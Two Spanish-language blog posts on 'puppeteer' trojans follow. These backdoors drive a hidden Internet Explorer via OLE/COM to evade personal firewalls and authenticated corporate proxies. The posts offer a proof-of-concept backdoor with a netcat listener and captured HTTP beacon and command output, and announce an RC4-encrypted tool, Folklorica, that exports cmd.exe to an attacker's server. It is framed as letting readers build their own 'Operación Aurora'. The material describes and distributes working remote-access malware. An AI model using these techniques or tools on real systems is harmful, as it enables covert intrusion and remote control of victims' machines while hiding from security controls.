Mostrando entradas con la etiqueta troyanos titiriteros. Mostrar todas las entradas
Mostrando entradas con la etiqueta troyanos titiriteros. Mostrar todas las entradas

14 septiembre 2010

Folklorica 1.0 (El retorno de los Titiriteros)

Hace tiempo hablamos de un tipo de troyanos que denominamos 'Titiriteros' porque tenían la habilidad de emplear otros programas como 'Títeres' y de esa forma camuflar conexiones.

En concreto proponíamos el uso de la interface OLE/COM de Internet Explorer para lanzar conexiones al exterior mediante InternetExplorer.Application.1 que permite lanzar peticiones GET / POST y procesar las respuestas.

Esto supone varias ventajas frente a la típica 'shell inversa' orientada a conexión remota:
  • Muchos Firewalls personales validan las conexiones en función de los programas que las generan, si lanzas troyano.exe, y este programa se intenta conectar al exterior, probablemente 'saldrá en la foto', por contra si usas como títere Explorer, la probabilidad de que ese programa esté aceptado como 'valido' es muy muy grande.
  • En muchos escenarios (típicamente corporativos) no existe conexión directa hacia el exterior, se emplean proxys, normalmente con autenticación usuario/contraseña. Si empleamos Explorer para salir al exterior también podremos hacer un bypass a esta protección.
En el anterior post publicamos una pequeña prueba de concepto sobre el tema, en este caso le damos una vuelta mas al asunto y presentamos una herramienta para que te construyas tu propia 'Operación Aurora', su nombre: Folklorica, que haciendo uso de objetos OLé (perdón OLE), exporta al exterior un cmd.exe.

Folklorica funciona con arquitectura Cliente / Servidor:
  • Cliente: Se debe ejecutar en un entorno Windows, ejecuta un Explorer en modo oculto (no aparece la ventana) y envía peticiones al Servidor. Cuando el Servidor le indica que ejecute un comando, lo ejecuta, captura la salida y lo envía en otra petición http
  • Servidor: Se ejecuta en la maquina 'del atacante', simula ser un servidor HTTP para comunicarse con el cliente. Permite ejecutar comandos en el cliente.
Adicionalmente, toda la comunicación entre cliente / servidor está protegida con una capa de cifrado RC4 para que tanto los comandos enviados como las respuestas, no puedan ser interceptadas por sniffers o logs de proxys.


Y descargar la herramienta desde aquí
Leer más...

07 septiembre 2009

Troyanos titiriteros

Aunque la palabra 'titiritero' a día de hoy tiene múltiples acepciones y en general engloba a muchas actividades circenses, el origen de esa palabra es aquellas personas que movían marionetas en espectáculos de teatro.

El tipo de troyano del que vamos a hablar hoy va en esa linea, troyanos que usan como marionetas programas del PC para comunicarse con el exterior.

Primero de todo, algo de background, en entornos Microsoft existe una tecnología llamada OLE/COM por la cual ciertos programas exportan su funcionalidad fuera del programa de forma que pueden ser llamados como 'servicios' desde aplicaciones externas. Un ejemplo: la mayoría de programas de la suite Office de microsoft pueden ser usados sin necesidad de intervención humana, por ejemplo, podemos abrir una hoja excel y hacer uso de alguna función matemática desde un script escrito en Visual Basic, ¿Como? simplemente hay que localizar el objeto OLE/COM de excel y usarlo empleando los métodos que exporta como si se trataran de funciones nativas.

Otro de los programas que exporta su funcionalidad es Internet Explorer, haciendo uso del objeto InternetExplorer.Application.1 podemos abrir una instancia de Explorer, navegar con ella y extraer el contenido de una pagina web desde un script. Además, si hacemos esa ventana invisible, podemos hacer todo eso sin que haya evidencias al respecto.

Entonces, pudiendo navegar usando Internet Explorer de forma oculta, es bastante sencillo implementar un troyano que use Explorer como vehículo para implementar un backdoor.

Este tipo de troyanos son útiles en dos escenarios bastante típicos, por un lado en las intranets corporativas donde no se permite conectividad directa hacia el exterior y es necesario emplear un proxy con autenticación

Otro escenario bastante común es el uso de Firewalls (normalmente integrados en el antivirus) que bloquean las aplicaciones que intentan hacer conexiones, por lo general estos firewalls vienen configurados por defecto para dejar salir ciertos programas, entre ellos, como no: Internet Explorer, entonces, empleando internet explorer como 'títere' para la comunicación al exterior, conseguimos hacer un bypass del Firewall (click para agrandar la imagen)


Como prueba-de-concepto he implementado un backdoor que hace uso de esta técnica y que permite ejecutar comandos remotamente usando el navegador como intermediario, se puede obtener desde aquí y funciona de la siguiente manera:

En el PC que actúa a modo de cliente (el troyano) ejecutamos:
ietroj.exe 192.168.1.45 (la dirección IP del servidor)
En el servidor, con un simple netcat es suficiente:
nc -l -p 80
Al conectar, el troyano informa que está esperando ordenes:

POST /cgi-bin/ HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: es
Content-Type: text/plain
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: 192.168.157.1:8000
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache

Ready for commands
vamos a obtener la salida del comando ipconfig, para ello, desde el netcat, escribimos:
command ipconfig
Cerramos el netcat (Crt+C) y lo volvemos a lanzar para obtener la respuesta:
nc -l -p 80
el cliente vuelve a conectar y ...
POST /cgi-bin/ HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: es
Content-Type: text/plain
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: 192.168.157.1:8000
Content-Length: 327
Connection: Keep-Alive
Cache-Control: no-cache


Configuración IP de Windows


Adaptador Ethernet Conexión de área local :

Sufijo de conexión específica DNS : localdomain
Dirección IP. . . . . . . . . . . : 192.168.157.128
Máscara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada : 192.168.157.2
et vuala, nos envía la salida del comando
Leer más...